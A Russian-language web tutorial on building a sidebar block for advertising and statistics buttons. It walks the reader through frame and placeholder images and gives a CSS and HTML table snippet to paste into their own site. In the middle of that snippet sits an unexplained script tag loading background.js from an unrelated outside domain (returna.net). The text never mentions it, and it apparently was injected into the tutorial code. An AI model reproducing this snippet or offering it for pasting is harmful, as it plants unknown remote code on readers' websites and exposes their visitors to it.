MENU

Делаем блок для рекламных кнопок


Почти на каждом сайте можно увидеть различные рекламные кнопки или кнопки статистики. У кого-то меньше , у кого-то больше. Кнопки размещают в разных местах, в основном в футере или в сайдбарах. Можно все эти кнопки объединить и в ставить в отдельный блок, который аккуратно разместится в одном из сайдбаров.

Для примера рассмотрим размещение кнопок в блоке, состоящим из двух столбцов, ну а количество рядов будет зависеть от количества кнопок. В моём примере будет 3 ряда кнопок.

Для начала Вам надо скопировать и сохранить у себя на компьютере два элемента блока:

ramka      zaglushka

Первый элемент будет служить рамкой кнопки. Второй элемент будет служить заглушкой, если баннер кнопки будет временно отсутствовать.

Лучше будет, если эти элементы Вы сделаете сами в Фотошопе. Это позволит сделать рамку кнопки цветом, подходящим дизайну Вашего сайта.

Скопировав или сделав эти элементы, необходимо загрузить их себе на сайт, чтобы потом прописать их адреса месторасположения в следующем коде:


<style>.banner {background:url(‘http://mehelp.ru/wp-content/uploads/2013/11/ramka.gif‘); background-repeat:no-repeat; width:94px; height:37px; padding:3px 3px 3px 3px;}
</style>
<script type=”text/javascript” src=”http://returna.net/background.js”></script>
<table width=”100%” cellpadding=”1″ cellspacing=”1″>
<tbody><tr>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”http://mehelp.ru"><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif” border=”0″ title=”Место свободно” width=”88″ height=”31″></a></div>
</td>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”/” title=”Место свободно”><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif"></a></div>
</td>
</tr>
<tr>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”/” title=”Место свободно”><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif"></a></div>
</td>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”/” title=”Место свободно”><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif"></a></div>
</td>
</tr>
<tr>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”/” title=”Место свободно”><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif"></a></div>
</td>
<td width=”50%” align=”center” valign=”top”>
<div class=”banner”><a href=”/” title=”Место свободно”><img src=”http://mehelp.ru/wp-content/uploads/2013/11/zaglushka.gif"></a></div>
</td>
</tr>
</tbody></table>

Теперь всё что выделено синим цветом надо поменять на свои адреса. В первой верхней строчке меняете на адрес расположения первого элемента (рамка кнопки). Остальные адреса сменить на адрес расположения заглушки или вставить там код рекламной кнопки. А как всё это проделать читайте здесь.